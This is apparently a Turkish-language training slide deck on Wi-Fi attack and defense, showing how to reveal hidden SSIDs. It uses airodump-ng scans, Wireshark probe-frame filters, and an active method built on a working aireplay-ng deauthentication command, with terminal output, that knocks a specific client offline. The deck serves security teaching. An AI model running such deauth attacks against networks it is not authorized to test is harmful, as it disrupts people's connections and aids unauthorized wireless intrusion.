



WIFI ATTACK AND DEFENSE

Besim ALTINOK
Security Engineer

Gizli Kablosuz Ağ Bilgilerini Tespit Etmek



Wireshark İle Gizli Bilgilerini Tespit Etmek

Wireshark ile gizli SSID bilgisini bulmak amacı ile aşağıdaki adımlar izlenebilir :

- Airodump-ng aracı ile gizli SSID yayını yapan cihazın MAC adresi tespit edilir.
- Daha sonra wireshark ile pasif olarak paketler izlenir.
- Probe paketleri içerisinde SSID bilgisi aranır.
- Bu aşama için wireshark filtreleri kullanılarak süreç kolayca yönetilebilir.
- Eğer herhangi bir probe paketi akışı yoksa
- O ağa bağlı istemciler hattan düşürülebilir.

Wireshark İle Gizli SSID Bilgilerini Tespit Etmek PASİF Yöntem

İlk olarak Gizli SSID ile yayın yapan cihaz tespit edilir.

```
bash securityci@max: ~
BSSID          PWR Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
F8:3D:FF:89:2A:E7 0      1      0 0 9 54e WPA2 CCMP PSK SineK
5E:F4:AB:38:57:04 0      2      0 0 6 54e WPA2 CCMP PSK merkoterm
00:27:22:C4:30:CB 0      1      1 0 4 54e WPA2 CCMP PSK BURCFIRIN
E8:37:7A:5C:84:13 0      1      0 0 3 54e WPA2 CCMP PSK ARS CAFE
{.....} 0      4      0 0 11 54e WPA2 CCMP PSK <length: 10>
CC:7B:35:1E:F4:58 0      3      0 0 1 54e WPA2 CCMP PSK TINET_ZIE_4H6X
54:E6:FC:C1:07:E8 0     13      1 0 1 54 WPA2 CCMP PSK dejavu-2
14:CC:20:38:FD:A2 0     74     10 0 1 54e WPA2 CCMP PSK TINET_TP-LINK_FDA2
14:CC:20:39:C6:E0 0    154     11 0 1 54e WPA2 CCMP PSK NazliToraman
30:B5:C2:A5:ED:E6 -1      0      0 0 -1 -1 <length: 0>

BSSID          STATION          PWR Rate Lost Packets Probes
00:27:22:C4:30:CB 50:F0:D3:6C:68:AA 0 0 - 0e 0 1
30:B5:C2:A5:ED:E6 64:27:37:B0:AC:99 0 0 - 0 0 2
(not associated) 00:25:22:4E:A1:7A 0 0 - 0 0 1
(not associated) AA:BB:CC:DD:EE:EE 0 0 - 1 0 12
(not associated) 54:27:1E:1C:E6:D2 0 0 - 0 0 9 BUZZ YAZILIM SINEK
(not associated) D0:25:98:18:ED:AA 0 0 - 0 0 2 DEJAVU-1
(not associated) 54:E6:FC:C1:06:8C 0 0 - 0 0 30 TP-LINK_C1068C

securityci@max ~ $ sudo airodump-ng mon0
```

Wireshark ile Gizli SSID Bilgilerini Tespit Etmek PASİF Yöntem

Wireshark ile pasif olarak paketler izlenir.

The image shows the Wireshark 1.10.6 interface. The title bar indicates the interface is *mon0 [Wireshark 1.10.6 (v1.10.6 from master-1.10)]. The menu bar includes File, Edit, View, Go, Capture, Analyze, Statistics, Telephony, Tools, Internals, and Help. The toolbar contains various icons for file operations, capture control, and packet analysis. The filter bar shows the filter: `lan.fc.type == 0 and (wlan.fc.subtype == 5 or wlan.fc.subtype == 4)`. The packet list table shows a single packet:

No.	Time	Source	Destination	Protocol	Length	Info
59809	460.25298306	Azurewav_19:fd:1c	MurataMa_80:a0:9b	802.11	120	Probe Request,

The packet details pane shows the following structure:

- ▶ Frame 59809: 120 bytes on wire (960 bits), 120 bytes captured (960 bits) on interface 0
- ▶ Radiotap Header v0, Length 36
- ▶ IEEE 802.11 Probe Request, Flags:C
- ▼ IEEE 802.11 wireless LAN management frame
 - ▼ Tagged parameters (56 bytes)
 - ▼ Tag: SSID parameter set: HiddenSSID
 - Tag Number: SSID parameter set (0)
 - Tag length: 10
 - SSID: HiddenSSID
 - ▶ Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 9, 12, 18, [Mbit/sec]
 - ▶ Tag: Extended Supported Rates 24, 36, 48, 54, [Mbit/sec]
 - ▶ Tag: HT Capabilities (802.11n D1.10)

Wireshark İle Gizli SSID Bilgilerini Tespit Etmek Aktif Yöntem

İlk olarak Gizli SSID ile yayın yapan cihaza bağlı istemciler tespit edilir.

```
Terminal - securityci@max: ~
File Edit View Terminal Tabs Help

CH 11 ][ Elapsed: 0 s ][ 2016-01-26 14:52

BSSID          PWR RXQ Beacons  #Data, #/s CH MB  ENC  CIPHER AUTH E
40:F3:08:80:A0:9B  0  0      22        0  0  11  54e  WPA2 CCMP  PSK <

BSSID          STATION          PWR  Rate  Lost  Packets  Probes
40:F3:08:80:A0:9B  5C:8D:4E:3B:6E:91  0    0 - 0    15      17

~ 14:52:58
$ sudo airodump-ng --bssid 40:F3:08:80:A0:9B --channel 11 wlan0
```


Wireshark İle Gizli SSID Bilgilerini Tespit Etmek

Aktif Yöntem

Daha sonra tespit edilen bu cihaza deauth saldırısı yapılır.

```
Terminal - securityci@max: ~
File Edit View Terminal Tabs Help

~ 14:58:02
$ sudo aireplay-ng --deauth 0 -a 40:F3:08:80:A0:9B -c 5C:8D:4E:3B:6E:91 wlan0
14:58:15 Waiting for beacon frame (BSSID: 40:F3:08:80:A0:9B) on channel 11
14:58:16 Sending 64 directed DeAuth. STMAC: [5C:8D:4E:3B:6E:91] [23|65 ACKs]
14:58:17 Sending 64 directed DeAuth. STMAC: [5C:8D:4E:3B:6E:91] [ 0|66 ACKs]
14:58:18 Sending 64 directed DeAuth. STMAC: [5C:8D:4E:3B:6E:91] [ 0|64 ACKs]
14:58:18 Sending 64 directed DeAuth. STMAC: [5C:8D:4E:3B:6E:91] [ 0|62 ACKs]
14:58:19 Sending 64 directed DeAuth. STMAC: [5C:8D:4E:3B:6E:91] [14|65 ACKs]
14:58:20 Sending 64 directed DeAuth. STMAC: [5C:8D:4E:3B:6E:91] [ 0|66 ACKs]
14:58:20 Sending 64 directed DeAuth. STMAC: [5C:8D:4E:3B:6E:91] [ 0|63 ACKs]
14:58:21 Sending 64 directed ^C%

~ 14:58:21
$
```

Wireshark İle Gizli SSID Bilgilerini Tespit Etmek

Aktif Yöntem

Saldırı yapıldıktan sonra trafik Wireshark ile pasif olarak izlenir.

The image shows the Wireshark network protocol analyzer interface. The title bar indicates the interface is *mon0 [Wireshark 1.10.6 (v1.10.6 from master-1.10)]. The menu bar includes File, Edit, View, Go, Capture, Analyze, Statistics, Telephony, Tools, Internals, and Help. The toolbar contains various icons for file operations, capture control, and packet navigation. The filter bar shows the active filter: `lan.fc.type == 0 and (wlan.fc.subtype == 5 or wlan.fc.subtype == 4)`. Below the filter bar is a table of captured packets. The first packet, No. 59809, is highlighted. It was captured at 460.25298306 seconds, from source Azurewav_19:fd:1c to destination MurataMa_80:a0:9b, using the 802.11 protocol, with a length of 120 bytes. The packet information pane below the table shows the details of this frame. It is an IEEE 802.11 wireless LAN management frame, specifically a Probe Request. The tagged parameters section shows a Tag: SSID parameter set: HiddenSSID, with a Tag Number of SSID parameter set (0) and a Tag length of 10. The packet bytes pane shows the raw data of the frame, including the SSID: HiddenSSID and other management frame fields like Supported Rates and HT Capabilities.

No.	Time	Source	Destination	Protocol	Length	Info
59809	460.25298306	Azurewav_19:fd:1c	MurataMa_80:a0:9b	802.11	120	Probe Request,

Frame 59809: 120 bytes on wire (960 bits), 120 bytes captured (960 bits) on interface 0

- ▶ Radiotap Header v0, Length 36
- ▶ IEEE 802.11 Probe Request, Flags:C
- ▼ IEEE 802.11 wireless LAN management frame
 - ▼ Tagged parameters (56 bytes)
 - ▼ Tag: SSID parameter set: HiddenSSID
 - Tag Number: SSID parameter set (0)
 - Tag length: 10
 - SSID: HiddenSSID
 - ▶ Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 9, 12, 18, [Mbit/sec]
 - ▶ Tag: Extended Supported Rates 24, 36, 48, 54, [Mbit/sec]
 - ▶ Tag: HT Capabilities (802.11n D1.10)